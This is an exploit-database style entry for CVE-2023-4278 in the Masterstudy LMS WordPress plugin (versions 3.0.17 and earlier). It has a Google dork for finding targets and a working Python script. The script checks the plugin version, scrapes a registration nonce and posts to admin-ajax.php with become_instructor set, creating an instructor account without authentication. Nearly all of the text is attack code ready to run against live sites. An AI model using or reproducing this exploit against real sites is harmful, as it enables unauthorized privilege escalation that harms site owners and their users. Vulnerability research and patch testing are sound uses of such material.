WordPress Masterstudy LMS plugin version 3.0.17 suffers from an unauthenticated instructor account creation vulnerability.
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# Exploit Title: Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation
# Google Dork: inurl:/user-public-account
# Date: 2023-09-04
# Exploit Author: Revan Arifio
# Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/
# Version: <= 3.0.17
# Tested on: Windows, Linux
# CVE : CVE-2023-4278
import requests
import os
import re
import time
banner = """
_______ ________ ___ ___ ___ ____ _ _ ___ ______ ___
/ ____\ \ / / ____| |__ \ / _ \__ \|___ \ | || |__ \____ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) | / / (_) |
| | \ \/ / | __|______/ /| | | |/ / |__ <______|__ _/ / / / > _ <
| |____ \ / | |____ / /_| |_| / /_ ___) | | |/ /_ / / | (_) |
\_____| \/ |______| |____|\___/____|____/ |_|____/_/ \___/
======================================================================================================
|| Title : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation ||
|| Author : https://github.com/revan-ar ||
|| Vendor Homepage : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/ ||
|| Support : https://www.buymeacoffee.com/revan.ar ||
======================================================================================================
"""
print(banner)
# get nonce
def get_nonce(target):
open_target = requests.get("{}/user-public-account".format(target))
search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text)
if search_nonce[1] != None:
return search_nonce[1]
else:
print("Failed when getting Nonce :p")
# privielege escalation
def privesc(target, nonce, username, password, email):
req_data = {
"user_login":"{}".format(username),
"user_email":"{}".format(email),
"user_password":"{}".format(password),
"user_password_re":"{}".format(password),
"become_instructor":True,
"privacy_policy":True,
"degree":"",
"expertize":"",
"auditory":"",
"additional":[],
"additional_instructors":[],
"profile_default_fields_for_register":[],
"redirect_page":"{}/user-account/".format(target)
}
start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)
if start.status_code == 200:
print("[+] Exploit Success !!")
else:
print("[+] Exploit Failed :p")
# URL target
target = input("[+] URL Target: ")
print("[+] Starting Exploit")
plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target))
plugin_version = re.search("Stable tag: (.+)", plugin_check.text)
int_version = plugin_version[1].replace(".", "")
time.sleep(1)
if int(int_version) < 3018:
print("[+] Target is Vulnerable !!")
# Credential
email = input("[+] Email: ")
username = input("[+] Username: ")
password = input("[+] Password: ")
time.sleep(1)
print("[+] Getting Nonce...")
get_nonce = get_nonce(target)
# Get Nonce
if get_nonce != None:
print("[+] Success Getting Nonce: {}".format(get_nonce))
time.sleep(1)
# Start PrivEsc
privesc(target, get_nonce, username, password, email)
# ----------------------------------
else:
print("[+] Target is NOT Vulnerable :p")